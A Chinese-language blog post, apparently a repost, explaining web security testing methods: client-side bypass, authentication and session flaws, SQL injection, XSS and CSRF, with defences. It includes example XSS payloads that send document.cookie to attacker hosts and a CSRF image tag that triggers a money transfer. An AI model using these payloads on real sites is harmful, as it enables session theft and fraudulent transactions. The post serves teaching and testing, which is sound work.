最近領(lǐng)導(dǎo)讓做安全測試，從網(wǎng)上下了一個(gè)破解版的appscan，然后開始測試，測試結(jié)果也給了一些修改建議。然后領(lǐng)導(dǎo)讓整理了一下安全測試的一些漏洞和測試方法，我基本按照LoadRunner性能測試巧匠訓(xùn)練營的后面的安全測試，稍做修改，這里發(fā)上來做保存。

一、繞過客戶端漏洞

1.????? HTML驗(yàn)證

通常人們認(rèn)為，HTML驗(yàn)證不是一種安全的驗(yàn)證方法。這種驗(yàn)證只能幫助那些不知道該如何填寫表單、如何輸入的用戶縮短服務(wù)器處理時(shí)間。作為攻擊者，可以用各種方法輕易地繞過這種機(jī)制。任何客戶端驗(yàn)證都應(yīng)該復(fù)制到服務(wù)器端。這將大大減少不安全的參數(shù)在應(yīng)用程序使用的可能性。

隱藏表單字段

隱藏的HTML表單是一種看上去無法修改，通過客戶端傳送數(shù)據(jù)的常用機(jī)制。如果一個(gè)表單字段標(biāo)記為hidden或readonly,那么它就無法編輯，是完全隱藏的，不會(huì)在屏幕上顯示。但是提交表單時(shí)，保存在表單中的字段名稱和值仍然被提交給應(yīng)用程序。這時(shí)，如果用發(fā)送接口或用調(diào)試工具可以輕易改變表單中的隱藏字段并發(fā)送給服務(wù)器，所以相關(guān)的隱藏字段的值在服務(wù)器端必須驗(yàn)證。

HTTP cookie

與隱藏表單類似，HTTP cookie并不顯示在用戶屏幕上，也不可直接修改。而早期有些網(wǎng)站對于不同的會(huì)員等級(jí)會(huì)有不同的折扣，判斷是否享有折扣就用cookie來傳達(dá)。例如，有些早期的電商網(wǎng)站最早對金牌會(huì)員的折扣就是用cookie來傳達(dá)的，類似在用戶登錄后返回一個(gè)響應(yīng)。如下：

HTTP/1.1 200 OK

Set-Cookie:DiscountAgreed=20

一些攻擊者可以利用工具或者不通過瀏覽器修改cookie的值，達(dá)到非法目的。

URL參數(shù)

應(yīng)用程序有可能會(huì)使用預(yù)先設(shè)定好的URL參數(shù)通過客戶端傳遞數(shù)據(jù)。例如：

http://127.0.0.1/shop/1.html?quantity=1&price=449

當(dāng)然，這個(gè)URL不一定直接顯示在瀏覽器地址欄中，也可能通過包含參數(shù)的URL加載框架內(nèi)容或用彈窗等其他方法隱藏地址欄，這時(shí)仍可以通過攔截代理服務(wù)器來捕獲任何一個(gè)不規(guī)范的URL參數(shù)，從而修改某些參數(shù)，以達(dá)到繞過的目的。

加密數(shù)據(jù)

有時(shí)候，通過客戶端傳送的數(shù)據(jù)是通過加密或者某種形式的模糊處理的，并不以明文顯示。如通過攔截代理服務(wù)器得到這樣一組數(shù)據(jù)”D61E4BBD6393C9111E6526EA173A7C8B”，傳送的參數(shù)為：quantity=1&price=D61E4BBD6393C9111E6526EA173A7C8B,有幾種方法可以實(shí)施攻擊：

1）破解：看是否是base32、base64、MD5等基本加密方式，通過decode或彩虹表判斷，成功破解后修改值進(jìn)行攻擊

2）如果完全無法理解，仍可以重新傳送它的值，如抓取另一款較便宜的產(chǎn)品的price進(jìn)行替換，無視其模糊處理

二、攻擊驗(yàn)證機(jī)制

驗(yàn)證機(jī)制常被看作是防御Web惡意攻擊的核心機(jī)制。它處于Web安全防御陣線的最前沿，如果攻擊者可以輕松突破驗(yàn)證機(jī)制，那么系統(tǒng)的所有功能、數(shù)據(jù)甚至賬戶余額等私密信息都會(huì)被攻擊者控制。驗(yàn)證機(jī)制是其他所在安全機(jī)制的前提，如果驗(yàn)證機(jī)制無法阻止攻擊，那么其它的安全機(jī)制也大多無法實(shí)施。

驗(yàn)證機(jī)制常用的漏洞主要有：

密碼保護(hù)性不強(qiáng)

1）非常短或空白密碼

2）以常用字典詞匯為密碼

3）密碼與用戶名完全相同

4）長時(shí)間使用默認(rèn)密碼

暴力攻擊

登錄功能往往是完全公開的，這樣的機(jī)制可能會(huì)誘使攻擊者試圖利用枚舉來猜測用戶名和密碼，從而獲得訪問應(yīng)用程序的權(quán)利。如果應(yīng)用程序允許攻擊者用不同的密碼暴力嘗試，直到他找到正確的密碼，這個(gè)程序就非常容易受到攻擊。

應(yīng)對暴力破解，常采用的一些安全措施：

1）驗(yàn)證碼

驗(yàn)證碼方式雖無法完全避免被暴力破解，但也可以使多數(shù)隨意的攻擊者停止攻擊行動(dòng)，轉(zhuǎn)而攻擊較容易的應(yīng)用程序。

2）cookie檢測

例如，有一些應(yīng)用程序會(huì)設(shè)置一個(gè)cookie,如failedlogin=0;登錄嘗試失敗，遞增該值，達(dá)到某個(gè)上限，檢測到這個(gè)值并拒絕再次處理登錄。

cookie檢測只能防止使用瀏覽器手動(dòng)攻擊，用專門的工具進(jìn)行攻擊就可以輕易避開。

3）會(huì)話檢測

與cookie檢測類似，將失敗計(jì)數(shù)保存在會(huì)話中，雖然在客戶端沒有標(biāo)明該漏洞存在的跡象，但只要攻擊者獲得一個(gè)新的會(huì)話，就可以繼續(xù)實(shí)施暴力攻擊。

4）失敗鎖定賬戶

有些應(yīng)用程序會(huì)采取登錄達(dá)到一定次數(shù)后鎖定目標(biāo)賬戶的方式。但是有可能通過分析其響應(yīng)，在鎖定賬戶的狀態(tài)下仍可以進(jìn)行密碼猜測攻擊。

雙因子認(rèn)證

是指結(jié)合密碼以及實(shí)物(信用卡、SMS手機(jī)、令牌或指紋等生物標(biāo)志）兩種條件對用戶進(jìn)行認(rèn)證的方法。其核心是綜合個(gè)人密碼和通常為手機(jī)來達(dá)到雙重認(rèn)證的效果。目前很多電商、銀行都采用了該認(rèn)證方式。

該方法的最大缺點(diǎn)是構(gòu)建雙因子認(rèn)證的成本較高、服務(wù)器的壓力也比較大。

過于詳細(xì)的失敗信息

過于詳細(xì)的失敗信息，就會(huì)降低攻擊者攻擊的難度。如提示密碼錯(cuò)誤，就可以猜測有這個(gè)用戶名。

密碼修改功能

成熟的系統(tǒng)除了用戶登錄，往往會(huì)提供密碼修改功能，但是在編碼過程中，我們往往忘記了這個(gè)功能中也會(huì)存在一些安全隱患。

密碼修改功能中常見的安全漏洞包括：

1）密碼修改功能是否擁有隱藏的后臺(tái)接口，如不通過登錄直接可以訪問該功能

2）是否可以使用不符合標(biāo)準(zhǔn)的密碼，如弱密碼等

3）密碼修改的請求提交時(shí)，是否用戶名也隨之提交？如果提交，是否可以通過修改用戶名來達(dá)到修改非當(dāng)前登錄用戶密碼的目的？

忘記密碼功能

當(dāng)前互聯(lián)網(wǎng)網(wǎng)站大多提供”忘記密碼”功能，但是其中往往會(huì)存在一些典型的安全問題，其核心問題就是忘記密碼的流程跳過了身份驗(yàn)證。會(huì)有以下幾種可能：

1）需要確認(rèn)應(yīng)用程序中是否有隱含的忘記密碼功能或不通過用戶名查詢即可訪問的情況

2）如果恢復(fù)機(jī)制使用質(zhì)詢方式，則確定用戶能否枚舉用戶名來得到質(zhì)詢信息，與猜測密碼相比，響應(yīng)質(zhì)詢更容易

3）如果在忘記密碼的請求響應(yīng)中生成一封包含恢復(fù)URL的電子郵件，獲取大量此類的URL并試圖分析和預(yù)測其發(fā)送URL的模式，是否可以得到其他未知用戶的恢復(fù)URL

4）無論是使用郵件，還是發(fā)送手機(jī)驗(yàn)證碼，查看是否可以攔截請求以修改目標(biāo)郵箱或手機(jī)號(hào)，從而達(dá)到繞過的目的。

用戶偽裝或”留后門 “

應(yīng)用程序有時(shí)可能會(huì)允許特權(quán)用戶偽裝成其他用戶，例如某些電商網(wǎng)站擁有類似OOB(on order behalf)的功能，超級(jí)管理員可以偽裝成任意用戶來幫助其執(zhí)行某些操作。

偽裝功能設(shè)計(jì)可以存在以下漏洞：

1）網(wǎng)站可能通過嚴(yán)格的權(quán)限控制(只有超級(jí)管理員才可以訪問的功能模塊)或是隱藏的鏈接(只有超級(jí)管理員才知道)的方式執(zhí)行，例如在網(wǎng)站中有一個(gè)特殊的URL可以鏈接到一個(gè)不需要核對用戶身份的頁面執(zhí)行部分操作。這時(shí)攻擊者可以嘗試使用枚舉URL或者使用爬蟲，從而攔截到該功能，劫持所有用戶。

2）有些偽裝功能以后門密碼形式執(zhí)行，也就是說，對于一個(gè)普通用戶，除去該用戶設(shè)置的密碼外，還擁有一個(gè)”萬能密碼”。這種設(shè)計(jì)可能招致暴力破解，攻擊者攻擊成功后可以獲取所有用戶的密碼。

多階段登錄

在日常的網(wǎng)絡(luò)應(yīng)用中，經(jīng)常發(fā)現(xiàn)一些多階段登錄的功能，如在輸入用戶名、密碼后，可能會(huì)要求你驗(yàn)證一個(gè)私密問題，通過后方可登錄。這樣的設(shè)計(jì)毫無疑問會(huì)增加驗(yàn)證機(jī)制的安全性，但是，這樣的過程也可能產(chǎn)生更多的缺陷。

1）程序可能會(huì)認(rèn)為，用戶一旦訪問到第二階段，就已經(jīng)完成第一階段的驗(yàn)證，那么可能會(huì)允許攻擊者直接進(jìn)入第二階段

2）程序可能認(rèn)為，在兩個(gè)階段的執(zhí)行過程中，用戶身份不會(huì)發(fā)生任何變化，于是并沒有在每個(gè)階段都確認(rèn)用戶身份。例如，第一階段提交用戶名和密碼，第二階段可能需要重新提交某個(gè)私密問題答案和一些個(gè)人信息。如果攻擊者在進(jìn)行第二階段時(shí)提供了有效的數(shù)據(jù)，但是不同于第一階段時(shí)的用戶，那么程序可能會(huì)允許用戶通過驗(yàn)證。

三、攻擊會(huì)話管理

會(huì)話管理機(jī)制的安全漏洞主要在會(huì)話令牌生成過程中和在整個(gè)會(huì)話生命周期過程中。令牌生成過程中的主要漏洞就是令牌可以被構(gòu)造。其中包含兩種漏洞，一種是令牌含義易讀，也就是沒有進(jìn)行加密或者加密了但可以被解密成可讀字符，另外一種是令牌可以被預(yù)測，可能包括一些隱藏序列、時(shí)間戳等。在整個(gè)會(huì)話生命周期中，可以通過獲取別人的token或sessionid來訪問。

四、SQL注入攻擊

幾乎每個(gè)Web網(wǎng)站應(yīng)用都需要使用數(shù)據(jù)庫來保存操作所需的各種信息，所以Web程序經(jīng)常會(huì)建立用戶提交的數(shù)據(jù)的SQL語句。如果建立這種語句的方法不安全，攻擊者就可以通過把SQL命令插入Web表單、URL等位置的方式，最終將SQL命令隨頁面請求提交至服務(wù)器，達(dá)到欺騙服務(wù)器執(zhí)行惡意SQL命令的目的。

原理：

構(gòu)造SQL語句，如加入”’”閉合SQL語句或加入#注釋將后面的驗(yàn)證字段注銷或加入or使SQL語句的判斷條件永遠(yuǎn)為True繞過驗(yàn)證。

危害：

1）探知數(shù)據(jù)庫的具體結(jié)構(gòu)，為進(jìn)一步攻擊做準(zhǔn)備

2）泄露數(shù)據(jù)尤其是機(jī)密信息、賬戶信息等

3）取得更高權(quán)限，來修改表數(shù)據(jù)，甚至是內(nèi)部結(jié)構(gòu)

預(yù)防機(jī)制：

1）參數(shù)化用戶輸入字段，同時(shí)過濾掉那些非法字符

2）降低用戶組的權(quán)限，受到攻擊后不至于受到重大損失

五、跨站腳本攻擊（XSS攻擊)

在Web應(yīng)用中，惡意攻擊者將某些攻擊代碼植入提供給用戶查看或使用的頁面中，當(dāng)用戶在打開網(wǎng)頁時(shí)，惡意腳本就會(huì)執(zhí)行。這類攻擊通常通過注入HTML和JS等腳本發(fā)動(dòng)攻擊。攻擊成功后，攻擊者可以得到私密網(wǎng)頁內(nèi)容以及cookie等。簡單來說，XSS攻擊發(fā)生的核心原因是未正確處理用戶提交的數(shù)據(jù)，從而使惡意腳本代碼得以提交和執(zhí)行。

XSS攻擊危害巨大，通常被用來盜取會(huì)話令牌，篡改甚至刪除重要數(shù)據(jù)和資料，偽裝用戶進(jìn)行非法操作和非法轉(zhuǎn)賬。

XSS漏洞分三類，分別為反射式XSS，存儲(chǔ)式XSS和基于DOM的XSS

1)???????? 反射式XSS

反射式XSS是目前最常見的XSS攻擊類型，也稱為非永久性XSS攻擊。若服務(wù)器直接使用客戶端提交的數(shù)據(jù)，如URL中包含的參數(shù)、HTML表單中的提交數(shù)據(jù)等，并沒有對這些數(shù)據(jù)進(jìn)行無害化過濾。如果提交的數(shù)據(jù)中含有惡意腳本沒有正確處理，那么一個(gè)簡單的XSS攻擊就會(huì)發(fā)生。

典型的反射式攻擊可以利用郵件或中間網(wǎng)站，誘鉺是一個(gè)看起來可信任的站點(diǎn)的鏈接，其中包含?XSS攻擊腳本，如果信任的網(wǎng)站沒有正確處理這個(gè)腳本，用戶點(diǎn)擊后就會(huì)導(dǎo)致瀏覽器執(zhí)行含有惡意攻擊的腳本。舉一個(gè)典型的案例可以幫助理解：

用戶A在瀏覽某個(gè)為B讓你擁有的網(wǎng)站http://www.sample.com,A使用用戶名/密碼進(jìn)行登錄，并存儲(chǔ)了某些敏感信息（個(gè)人信息及銀行賬戶信息等）。

C發(fā)現(xiàn)B的站點(diǎn)包含一個(gè)反射性的XSS漏洞，C編寫了一個(gè)可以利用該漏洞的URL，并將其冒充為來自B的郵件發(fā)送給A。

http://www.sample.com/test.aspx?message=<script>var+i=new+image;i.src=http://c.et/%2bdocument.cookie;<script>

A點(diǎn)擊了C提供的URL并登錄，嵌入在URL中的惡意腳本在A的瀏覽器中執(zhí)行，就像它直接來自B的服務(wù)器一樣。此腳本盜竊敏感信息（會(huì)話及個(gè)人信息等），在A完全不知情的情況下，向C的Web站點(diǎn)發(fā)起一個(gè)帶有敏感信息的請求，C監(jiān)控訪問http://c.net的請求便可截獲A的會(huì)話令牌。

2)???????? 存儲(chǔ)式XSS

存儲(chǔ)式XSS也稱為永久性XSS，危害更大。攻擊者將攻擊腳本上傳到Web服務(wù)器上，使得所有訪問該頁面的用戶都面臨信息泄露的可能，其中也包括了Web服務(wù)器的管理員。

典型例子：

在一個(gè)交友網(wǎng)站上，一個(gè)人在個(gè)人信息上寫上一段腳本，例如：

<script>window.open(http://www.mysite.com?yourcookie=document.cookie)</script>

而該網(wǎng)站沒有對該段內(nèi)容進(jìn)行正確編碼，那么網(wǎng)站其他用戶看到這個(gè)用戶信息頁時(shí)，就會(huì)將當(dāng)前的cookie提交到該用戶的Web站點(diǎn)上。

3)???????? 基于DOM的XSS攻擊

反射式的XSS攻擊和存儲(chǔ)式XSS攻擊有一定的相似之處，二者都是將用戶數(shù)據(jù)提交到服務(wù)器端，服務(wù)器以不安全的方式將其返回給用戶。基于DOM的XSS攻擊僅通過js的方式執(zhí)行。

基于DOM的XSS攻擊常發(fā)生在應(yīng)用程序每次返回相同的靜態(tài)HTML，而通過客戶端javascript動(dòng)態(tài)生成信息時(shí)。

XSS攻擊的測試方法：

探測是否存在XSS漏洞的基本測試方法是使用一個(gè)概念驗(yàn)證攻擊字符串：

><script>alert(document.cookie)</script>

這個(gè)字符串被提交給每個(gè)應(yīng)用程序頁面的每一個(gè)參數(shù)，同時(shí)測試者監(jiān)控所有請求的響應(yīng)，看響應(yīng)中是否返回這個(gè)相同的字符串，如果發(fā)現(xiàn)攻擊字符串中按原樣出現(xiàn)在響應(yīng)中，就幾乎可以肯定應(yīng)用程序存在XSS漏洞。

XSS的防范措施：

1）輸入確認(rèn)：如果應(yīng)用程序收到某個(gè)用戶請求，其中提交的數(shù)據(jù)將來有可能被復(fù)制到它的響應(yīng)中，應(yīng)用程序需要對這些數(shù)據(jù)執(zhí)行盡可能嚴(yán)格的確認(rèn)。例如，過濾非法字符(<>’’”%等)、添加白名單、根據(jù)不同的字段設(shè)置不同的確認(rèn)規(guī)則等。

2）輸出編碼： 如果應(yīng)用程序已經(jīng)將某些用戶提交的數(shù)據(jù)復(fù)制到它的響應(yīng)中，那么應(yīng)用程序應(yīng)對這些數(shù)據(jù)進(jìn)行HTML編碼，以凈化可能存在的惡意字符。這樣做可以最大程度地確保瀏覽器安全地處理潛在的惡意代碼，將它們轉(zhuǎn)化成HTML文檔的內(nèi)容而進(jìn)行處理。

六、跨站腳本偽造(CSRF攻擊）

盡管聽起來像跨站腳本，但它與XSS非常不同，并且攻擊方式幾乎相左。XSS是利用站點(diǎn)內(nèi)的信任用戶，獲取用戶的cookie等私密信息；而csrf則不去獲取用戶的任何信息，只是通過偽裝為來自受信任的用戶的請求，通過社會(huì)工程學(xué)的手段（如通過聊天工具發(fā)送一個(gè)鏈接或被處理過的包含跳轉(zhuǎn)的圖片等）來蠱惑用戶進(jìn)行一些敏感性的操作，如修改密碼、轉(zhuǎn)賬等，而用戶還不知道自己已經(jīng)中招。

CSRF的破壞力依賴于受害者的權(quán)限。如果受害者只是一個(gè)普通的用戶，則一次成功的CSRF攻擊會(huì)危害用戶的數(shù)據(jù)、賬戶及一些功能；如果受害者具有管理員權(quán)限，則一次成功的CSRF攻擊甚至?xí){到整個(gè)網(wǎng)站的安全。

一個(gè)典型的CSRF例子：

A登錄了一個(gè)銀行網(wǎng)站testbank.com，準(zhǔn)備進(jìn)行查詢和網(wǎng)上轉(zhuǎn)賬。B通過自己的分析和攻擊嘗試，了解到這個(gè)站點(diǎn)的轉(zhuǎn)賬功能有某個(gè)CSRF漏洞。于是，B在自己的博客上發(fā)表了一條博客，并且在博客中插入了提前構(gòu)造好的一行HTML代碼。

<img src=http://testbank.com/transferMoney.jsp?to=B&cash=6000 width=”1” height=”2” border=”0” />

CSRF攻擊的測試方法：

一般來說，測試人員需要對Web應(yīng)用的一些核心功能進(jìn)行CSRF檢測，那么首先需要確定哪些功能需要進(jìn)行CSRF檢測。不同的應(yīng)用有不同的標(biāo)準(zhǔn)，但有些核心功能基本每個(gè)Web應(yīng)用中都有，而且十分關(guān)鍵。例如：

1）修改密碼、

2）對私密信息及數(shù)據(jù)的修改、刪除功能

3）與金錢相關(guān)的功能，如購物車、團(tuán)購等

在進(jìn)行如上功能CSRF測試的時(shí)候，可以假定自己同時(shí)具備兩個(gè)身份：攻擊者和受害者，然后按照下面的步驟進(jìn)行操作。

1）用受害者身份登錄，然后進(jìn)行某個(gè)重要功能的操作，假設(shè)進(jìn)行轉(zhuǎn)賬，URL為：http://localhost/adduser?transferMoney.jsp?to=someone&cash=6000.

2）以攻擊者身份構(gòu)造這個(gè)重要操作的URL,如可以寫為：<img src=”http://localhost/adduser?transferMoney.jsp?to=someone&cash=6000” width=”1” height=”1” border=”0” />

3）在確保受害者登錄的情況下，讓受害者點(diǎn)擊攻擊者構(gòu)造的URL或生成的圖片

4）檢查結(jié)果：服務(wù)器是否執(zhí)行了你的請求。如果執(zhí)行了，說明了那個(gè)重要功能存在CSRF漏洞。

CSRF攻擊常用的防范措施

1）增加一些確認(rèn)操作

比如說上面的轉(zhuǎn)賬功能，當(dāng)用戶調(diào)用銀行系統(tǒng)api進(jìn)行轉(zhuǎn)賬的時(shí)候，彈出一個(gè)對話框，如你確認(rèn)要轉(zhuǎn)賬6000元嗎？這樣csrf受害者就可以知道他中招了。

2）重新認(rèn)證

執(zhí)行一些重要敏感的操作時(shí)，可以要求用戶重新輸入密碼，或者單獨(dú)輸入一個(gè)支付密碼以及手機(jī)驗(yàn)證碼等進(jìn)行二次認(rèn)證，只有正確了才能繼續(xù)操作。這種做法顯然更安全，但對于用戶來說，易用性差了一些。

3）session失效

建立一個(gè)盡量短一些的會(huì)話不活動(dòng)超時(shí)機(jī)制

4）設(shè)置token

a. 在用戶每一次登錄后，產(chǎn)生一個(gè)新的不可預(yù)知的CSRF Token，并且把此Token存放在用戶的session中

b. 進(jìn)入某功能模塊，發(fā)現(xiàn)存在一個(gè)需要保護(hù)的表單，則需要增加一個(gè)隱藏字段來存放這個(gè)Token，同樣，對于需要保護(hù)的URL，增加一個(gè)參數(shù)來存放些Token。

c. 提交此請求的時(shí)候，在服務(wù)器端通過請求提交的Token與用戶session中的Token是否一致，如果一致，處理請求，否則返回一個(gè)錯(cuò)誤信息給用戶。

d. 在用戶退出或者session過期的時(shí)候，用戶信息（包括CSRF Token)從session中移除并銷毀session

轉(zhuǎn)載于:https://www.cnblogs.com/linwenbin/p/11077684.html

總結(jié)

以上是生活随笔為你收集整理的安全测试的一些漏洞和测试方法的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。